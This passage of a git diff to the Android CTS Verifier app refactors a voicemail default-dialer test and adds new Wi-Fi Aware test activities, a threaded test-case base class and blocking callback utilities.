-        mRestoreDefaultDialerButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                if (telecomManager.getDefaultDialerPackage().equals(mDefaultDialer)) {
-                    Toast.makeText(VoicemailBroadcastActivity.this,
-                            R.string.voicemail_default_dialer_already_restored, Toast.LENGTH_SHORT)
-                            .show();
-                    return;
-                }
-
-                final Intent intent = new Intent(TelecomManager.ACTION_CHANGE_DEFAULT_DIALER);
-                intent.putExtra(TelecomManager.EXTRA_CHANGE_DEFAULT_DIALER_PACKAGE_NAME,
-                        mDefaultDialer);
-                startActivityForResult(intent, 0);
-            }
-        });
+        mDefaultDialerChanger = new DefaultDialerChanger(this);
 
         VoicemailBroadcastReceiver.setListener(new ReceivedListener() {
             @Override
@@ -144,25 +63,15 @@
                 mLeaveVoicemailImage.setImageDrawable(getDrawable(R.drawable.fs_good));
                 mLeaveVoicemailText.setText(R.string.voicemail_broadcast_received);
                 getPassButton().setEnabled(true);
+                mDefaultDialerChanger.setRestorePending(true);
             }
         });
-
-        registerReceiver(mDefaultDialerChangedReceiver,
-                new IntentFilter(TelecomManager.ACTION_DEFAULT_DIALER_CHANGED));
     }
 
     @Override
     protected void onDestroy() {
         VoicemailBroadcastReceiver.setListener(null);
-        unregisterReceiver(mDefaultDialerChangedReceiver);
+        mDefaultDialerChanger.destroy();
         super.onDestroy();
     }
-
-    private void updateSetDefaultDialerState(String packageName) {
-        if (packageName.equals(getPackageName())) {
-            mSetDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_good));
-        } else {
-            mSetDefaultDialerImage.setImageDrawable(getDrawable(R.drawable.fs_indeterminate));
-        }
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailSettingsCheckActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailSettingsCheckActivity.java
new file mode 100644
index 0000000..d4ac0db
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/voicemail/VoicemailSettingsCheckActivity.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.voicemail;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.telephony.TelephonyManager;
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Tests {@link TelephonyManager.EXTRA_HIDE_PUBLIC_SETTINGS}
+ */
+public class VoicemailSettingsCheckActivity extends PassFailButtons.Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.voicemail_hide_ringtone_settings, null);
+        setContentView(view);
+        setInfoResources(R.string.ringtone_settings_check_test,
+                R.string.ringtone_settings_check_instructions, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        findViewById(R.id.open_voicemail_settings).setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        startActivity(new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL)
+                                .putExtra(TelephonyManager.EXTRA_HIDE_PUBLIC_SETTINGS, true));
+                    }
+                }
+        );
+
+        findViewById(R.id.settings_hidden).setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        getPassButton().setEnabled(true);
+                        setTestResultAndFinish(true);
+                    }
+                }
+        );
+
+        findViewById(R.id.settings_not_hidden).setOnClickListener(
+                new OnClickListener() {
+                    @Override
+                    public void onClick(View v) {
+                        setTestResultAndFinish(false);
+                    }
+                }
+        );
+
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/BaseTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/BaseTestActivity.java
new file mode 100644
index 0000000..732508f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/BaseTestActivity.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.os.Handler;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+/**
+ * Base class for Aware tests.
+ */
+public abstract class BaseTestActivity extends PassFailButtons.Activity implements
+        BaseTestCase.Listener {
+    /*
+     * Handles to GUI elements.
+     */
+    private TextView mAwareInfo;
+    private ProgressBar mAwareProgress;
+
+    /*
+     * Test case to be executed
+     */
+    private BaseTestCase mTestCase;
+
+    private Handler mHandler = new Handler();
+
+    protected abstract BaseTestCase getTestCase(Context context);
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.aware_main);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        // Get UI component.
+        mAwareInfo = (TextView) findViewById(R.id.aware_info);
+        mAwareProgress = (ProgressBar) findViewById(R.id.aware_progress);
+
+        // Initialize test components.
+        mTestCase = getTestCase(this);
+
+        // keep screen on while this activity is front view.
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mTestCase.start(this);
+        mAwareProgress.setVisibility(View.VISIBLE);
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        mTestCase.stop();
+        mAwareProgress.setVisibility(View.GONE);
+    }
+
+
+    @Override
+    public void onTestStarted() {
+        // nop
+    }
+
+    @Override
+    public void onTestMsgReceived(String msg) {
+        if (msg == null) {
+            return;
+        }
+        mHandler.post(new Runnable() {
+            @Override
+            public void run() {
+                mAwareInfo.append(msg);
+                mAwareInfo.append("\n");
+            }
+        });
+    }
+
+    @Override
+    public void onTestSuccess() {
+        mHandler.post(new Runnable() {
+            @Override
+            public void run() {
+                getPassButton().setEnabled(true);
+                mAwareProgress.setVisibility(View.GONE);
+            }
+        });
+    }
+
+    @Override
+    public void onTestFailed(String reason) {
+        mHandler.post(new Runnable() {
+            @Override
+            public void run() {
+                if (reason != null) {
+                    mAwareInfo.append(reason);
+                }
+                mAwareProgress.setVisibility(View.GONE);
+            }
+        });
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/BaseTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/BaseTestCase.java
new file mode 100644
index 0000000..8556b19
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/BaseTestCase.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.content.res.Resources;
+import android.net.wifi.aware.WifiAwareManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Base class for all Aware test cases.
+ */
+public abstract class BaseTestCase {
+    protected Context mContext;
+    protected Resources mResources;
+    protected Listener mListener;
+
+    private Thread mThread;
+    private HandlerThread mHandlerThread;
+    protected Handler mHandler;
+
+    protected WifiAwareManager mWifiAwareManager;
+
+    public BaseTestCase(Context context) {
+        mContext = context;
+        mResources = mContext.getResources();
+    }
+
+    /**
+     * Set up the test case. Executed once before test starts.
+     */
+    protected void setUp() {
+        mWifiAwareManager = (WifiAwareManager) mContext.getSystemService(
+                Context.WIFI_AWARE_SERVICE);
+    }
+
+    /**
+     * Tear down the test case. Executed after test finishes - whether on success or failure.
+     */
+    protected void tearDown() {
+        mWifiAwareManager = null;
+    }
+
+    /**
+     * Execute test case.
+     *
+     * @return true on success, false on failure. In case of failure
+     */
+    protected abstract boolean executeTest() throws InterruptedException;
+
+    /**
+     * Returns a String describing the failure reason of the most recent test failure (not valid
+     * in other scenarios). Override to customize the failure string.
+     */
+    protected String getFailureReason() {
+        return mContext.getString(R.string.aware_unexpected_error);
+    }
+
+    /**
+     * Start running the test case.
+     *
+     * Test case is executed in another thread.
+     */
+    public void start(Listener listener) {
+        mListener = listener;
+
+        stop();
+        mHandlerThread = new HandlerThread("CtsVerifier-Aware");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+        mThread = new Thread(
+                new Runnable() {
+                    @Override
+                    public void run() {
+                        mListener.onTestStarted();
+                        try {
+                            setUp();
+                        } catch (Exception e) {
+                            mListener.onTestFailed(mContext.getString(R.string.aware_setup_error));
+                            return;
+                        }
+
+                        try {
+                            if (executeTest()) {
+                                mListener.onTestSuccess();
+                            } else {
+                                mListener.onTestFailed(getFailureReason());
+                            }
+                        } catch (Exception e) {
+                            e.printStackTrace();
+                            mListener.onTestFailed(
+                                    mContext.getString(R.string.aware_unexpected_error));
+                        } finally {
+                            tearDown();
+                        }
+                    }
+                });
+        mThread.start();
+    }
+
+    /**
+     * Stop the currently running test case.
+     */
+    public void stop() {
+        if (mThread != null) {
+            mThread.interrupt();
+            mThread = null;
+        }
+        if (mHandlerThread != null) {
+            mHandlerThread.quitSafely();
+            mHandlerThread = null;
+            mHandler = null;
+        }
+    }
+
+    /**
+     * Listener interface used to communicate the state and status of the test case. It should
+     * be implemented by any activity encompassing a test case.
+     */
+    public interface Listener {
+        /**
+         * This function is invoked when the test case starts.
+         */
+        void onTestStarted();
+
+        /**
+         * This function is invoked by the test to send a message to listener.
+         */
+        void onTestMsgReceived(String msg);
+
+        /**
+         * This function is invoked when the test finished successfully.
+         */
+        void onTestSuccess();
+
+        /**
+         * This function is invoked when the test failed (test is done).
+         */
+        void onTestFailed(String reason);
+    }
+
+    /**
+     * Convert byte array to hex string representation utility.
+     */
+    public static String bytesToHex(byte[] bytes, Character separator) {
+        final char[] hexArray = "0123456789ABCDEF".toCharArray();
+        boolean useSeparator = separator != null;
+        char sep = 0;
+        if (useSeparator) {
+            sep = separator;
+        }
+        char[] hexChars = new char[bytes.length * 2 + (useSeparator ? bytes.length - 1 : 0)];
+        int base = 0;
+        for (int j = 0; j < bytes.length; j++) {
+            if (useSeparator && j != 0) {
+                hexChars[base++] = sep;
+            }
+            int v = bytes[j] & 0xFF;
+            hexChars[base++] = hexArray[v >> 4];
+            hexChars[base++] = hexArray[v & 0x0F];
+        }
+        return new String(hexChars);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/CallbackUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/CallbackUtils.java
new file mode 100644
index 0000000..4593ed4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/CallbackUtils.java
@@ -0,0 +1,340 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.net.ConnectivityManager;
+import android.net.Network;
+import android.net.wifi.aware.AttachCallback;
+import android.net.wifi.aware.DiscoverySessionCallback;
+import android.net.wifi.aware.IdentityChangedListener;
+import android.net.wifi.aware.PeerHandle;
+import android.net.wifi.aware.PublishDiscoverySession;
+import android.net.wifi.aware.SubscribeDiscoverySession;
+import android.net.wifi.aware.WifiAwareSession;
+import android.util.Log;
+import android.util.Pair;
+
+import java.util.ArrayDeque;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Blocking callbacks for Wi-Fi Aware and Connectivity Manager.
+ */
+public class CallbackUtils {
+    private static final String TAG = "CallbackUtils";
+
+    public static final int CALLBACK_TIMEOUT_SEC = 15;
+
+    /**
+     * Utility AttachCallback - provides mechanism to block execution with the
+     * waitForAttach method.
+     */
+    public static class AttachCb extends AttachCallback {
+        public static final int TIMEOUT = -1;
+        public static final int ON_ATTACHED = 0;
+        public static final int ON_ATTACH_FAILED = 1;
+
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+        private int mCallback = TIMEOUT;
+        private WifiAwareSession mWifiAwareSession = null;
+
+        @Override
+        public void onAttached(WifiAwareSession session) {
+            mCallback = ON_ATTACHED;
+            mWifiAwareSession = session;
+            mBlocker.countDown();
+        }
+
+        @Override
+        public void onAttachFailed() {
+            mCallback = ON_ATTACH_FAILED;
+            mBlocker.countDown();
+        }
+
+        /**
+         * Wait (blocks) for any AttachCallback callback or timeout.
+         *
+         * @return A pair of values: the callback constant (or TIMEOUT) and the WifiAwareSession
+         * created when attach successful - null otherwise (attach failure or timeout).
+         */
+        public Pair<Integer, WifiAwareSession> waitForAttach() throws InterruptedException {
+            if (mBlocker.await(CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)) {
+                return new Pair<>(mCallback, mWifiAwareSession);
+            }
+
+            return new Pair<>(TIMEOUT, null);
+        }
+    }
+
+    /**
+     * Utility IdentityChangedListener - provides mechanism to block execution with the
+     * waitForIdentity method. Single shot listener - only listens for the first triggered
+     * callback.
+     */
+    public static class IdentityListenerSingleShot extends IdentityChangedListener {
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+        private byte[] mMac = null;
+
+        @Override
+        public void onIdentityChanged(byte[] mac) {
+            if (mMac != null) {
+                return;
+            }
+
+            mMac = mac;
+            mBlocker.countDown();
+        }
+
+        /**
+         * Wait (blocks) for the onIdentityChanged callback or a timeout.
+         *
+         * @return The MAC address returned by the onIdentityChanged() callback, or null on timeout.
+         */
+        public byte[] waitForMac() throws InterruptedException {
+            if (mBlocker.await(CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)) {
+                return mMac;
+            }
+
+            return null;
+        }
+    }
+
+    /**
+     * Utility NetworkCallback - provides mechanism for blocking/serializing access with the
+     * waitForNetwork method.
+     */
+    public static class NetworkCb extends ConnectivityManager.NetworkCallback {
+        private CountDownLatch mBlocker = new CountDownLatch(1);
+        private boolean mNetworkAvailable = false;
+
+        @Override
+        public void onAvailable(Network network) {
+            mNetworkAvailable = true;
+            mBlocker.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            mNetworkAvailable = false;
+            mBlocker.countDown();
+        }
+
+        /**
+         * Wait (blocks) for Available or Unavailable callbacks - or timesout.
+         *
+         * @return true if Available, false otherwise (Unavailable or timeout).
+         */
+        public boolean waitForNetwork() throws InterruptedException {
+            if (mBlocker.await(CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)) {
+                return mNetworkAvailable;
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Utility DiscoverySessionCallback - provides mechanism to block/serialize Aware discovery
+     * operations using the waitForCallbacks() method.
+     */
+    public static class DiscoveryCb extends DiscoverySessionCallback {
+        public static final int TIMEOUT = -1;
+        public static final int ON_PUBLISH_STARTED = 0x1 << 0;
+        public static final int ON_SUBSCRIBE_STARTED = 0x1 << 1;
+        public static final int ON_SESSION_CONFIG_UPDATED = 0x1 << 2;
+        public static final int ON_SESSION_CONFIG_FAILED = 0x1 << 3;
+        public static final int ON_SESSION_TERMINATED = 0x1 << 4;
+        public static final int ON_SERVICE_DISCOVERED = 0x1 << 5;
+        public static final int ON_MESSAGE_SEND_SUCCEEDED = 0x1 << 6;
+        public static final int ON_MESSAGE_SEND_FAILED = 0x1 << 7;
+        public static final int ON_MESSAGE_RECEIVED = 0x1 << 8;
+
+        /**
+         * Data container for all parameters which can be returned by any DiscoverySessionCallback
+         * callback.
+         */
+        public static class CallbackData {
+            public CallbackData(int callback) {
+                this.callback = callback;
+            }
+
+            public int callback;
+
+            public PublishDiscoverySession publishDiscoverySession;
+            public SubscribeDiscoverySession subscribeDiscoverySession;
+            public PeerHandle peerHandle;
+            public byte[] serviceSpecificInfo;
+            public List<byte[]> matchFilter;
+            public int messageId;
+        }
+
+        private CountDownLatch mBlocker = null;
+        private int mWaitForCallbackMask = 0;
+
+        private final Object mLock = new Object();
+        private ArrayDeque<CallbackData> mCallbackQueue = new ArrayDeque<>();
+
+        private void processCallback(CallbackData callbackData) {
+            synchronized (mLock) {
+                mCallbackQueue.addLast(callbackData);
+                if (mBlocker != null && (mWaitForCallbackMask & callbackData.callback)
+                        == callbackData.callback) {
+                    mBlocker.countDown();
+                }
+            }
+        }
+
+        private CallbackData getAndRemoveFirst(int callbackMask) {
+            synchronized (mLock) {
+                for (CallbackData cbd : mCallbackQueue) {
+                    if ((cbd.callback & callbackMask) == cbd.callback) {
+                        mCallbackQueue.remove(cbd);
+                        return cbd;
+                    }
+                }
+            }
+
+            return null;
+        }
+
+        private CallbackData waitForCallbacks(int callbackMask, boolean timeout)
+                throws InterruptedException {
+            synchronized (mLock) {
+                CallbackData cbd = getAndRemoveFirst(callbackMask);
+                if (cbd != null) {
+                    return cbd;
+                }
+
+                mWaitForCallbackMask = callbackMask;
+                mBlocker = new CountDownLatch(1);
+            }
+
+            boolean finishedNormally = true;
+            if (timeout) {
+                finishedNormally = mBlocker.await(CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS);
+            } else {
+                mBlocker.await();
+            }
+            if (finishedNormally) {
+                CallbackData cbd = getAndRemoveFirst(callbackMask);
+                if (cbd != null) {
+                    return cbd;
+                }
+
+                Log.wtf(TAG, "DiscoveryCb.waitForCallback: callbackMask=" + callbackMask
+                        + ": did not time-out but doesn't have any of the requested callbacks in "
+                        + "the stack!?");
+                // falling-through to TIMEOUT
+            }
+
+            return new CallbackData(TIMEOUT);
+        }
+
+        /**
+         * Wait for the specified callbacks - a bitmask of any of the ON_* constants. Returns the
+         * CallbackData structure whose CallbackData.callback specifies the callback which was
+         * triggered. The callback may be TIMEOUT.
+         *
+         * Note: other callbacks happening while while waiting for the specified callback(s) will
+         * be queued.
+         */
+        public CallbackData waitForCallbacks(int callbackMask) throws InterruptedException {
+            return waitForCallbacks(callbackMask, true);
+        }
+
+        /**
+         * Wait for the specified callbacks - a bitmask of any of the ON_* constants. Returns the
+         * CallbackData structure whose CallbackData.callback specifies the callback which was
+         * triggered.
+         *
+         * This call will not timeout - it can be interrupted though (which results in a thrown
+         * exception).
+         *
+         * Note: other callbacks happening while while waiting for the specified callback(s) will
+         * be queued.
+         */
+        public CallbackData waitForCallbacksNoTimeout(int callbackMask)
+                throws InterruptedException {
+            return waitForCallbacks(callbackMask, false);
+        }
+
+        @Override
+        public void onPublishStarted(PublishDiscoverySession session) {
+            CallbackData callbackData = new CallbackData(ON_PUBLISH_STARTED);
+            callbackData.publishDiscoverySession = session;
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onSubscribeStarted(SubscribeDiscoverySession session) {
+            CallbackData callbackData = new CallbackData(ON_SUBSCRIBE_STARTED);
+            callbackData.subscribeDiscoverySession = session;
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onSessionConfigUpdated() {
+            CallbackData callbackData = new CallbackData(ON_SESSION_CONFIG_UPDATED);
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onSessionConfigFailed() {
+            CallbackData callbackData = new CallbackData(ON_SESSION_CONFIG_FAILED);
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onSessionTerminated() {
+            CallbackData callbackData = new CallbackData(ON_SESSION_TERMINATED);
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onServiceDiscovered(PeerHandle peerHandle, byte[] serviceSpecificInfo,
+                List<byte[]> matchFilter) {
+            CallbackData callbackData = new CallbackData(ON_SERVICE_DISCOVERED);
+            callbackData.peerHandle = peerHandle;
+            callbackData.serviceSpecificInfo = serviceSpecificInfo;
+            callbackData.matchFilter = matchFilter;
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onMessageSendSucceeded(int messageId) {
+            CallbackData callbackData = new CallbackData(ON_MESSAGE_SEND_SUCCEEDED);
+            callbackData.messageId = messageId;
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onMessageSendFailed(int messageId) {
+            CallbackData callbackData = new CallbackData(ON_MESSAGE_SEND_FAILED);
+            callbackData.messageId = messageId;
+            processCallback(callbackData);
+        }
+
+        @Override
+        public void onMessageReceived(PeerHandle peerHandle, byte[] message) {
+            CallbackData callbackData = new CallbackData(ON_MESSAGE_RECEIVED);
+            callbackData.peerHandle = peerHandle;
+            callbackData.serviceSpecificInfo = message;
+            processCallback(callbackData);
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobOpenInitiatorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobOpenInitiatorTestActivity.java
new file mode 100644
index 0000000..107b945
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobOpenInitiatorTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathOutOfBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe
+ */
+public class DataPathOobOpenInitiatorTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathOutOfBandTestCase(context, true, false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobOpenResponderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobOpenResponderTestActivity.java
new file mode 100644
index 0000000..4080bd7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobOpenResponderTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathOutOfBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathOobOpenResponderTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathOutOfBandTestCase(context, true, true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_oob_open_responder,
+                R.string.aware_data_path_oob_open_responder_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobPassphraseInitiatorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobPassphraseInitiatorTestActivity.java
new file mode 100644
index 0000000..cfdec55
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobPassphraseInitiatorTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathOutOfBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe
+ */
+public class DataPathOobPassphraseInitiatorTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathOutOfBandTestCase(context, false, false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobPassphraseResponderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobPassphraseResponderTestActivity.java
new file mode 100644
index 0000000..b97e74e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOobPassphraseResponderTestActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathOutOfBandTestCase;
+
+/**
+ * Test activity for data-path, open, unsolicited publish
+ */
+public class DataPathOobPassphraseResponderTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathOutOfBandTestCase(context, false, true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_oob_passphrase_responder,
+                R.string.aware_data_path_oob_passphrase_responder_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
new file mode 100644
index 0000000..f6afecc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, open, passive subscribe
+ */
+public class DataPathOpenActiveSubscribeTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, true, false, false);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
new file mode 100644
index 0000000..08d9d78
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
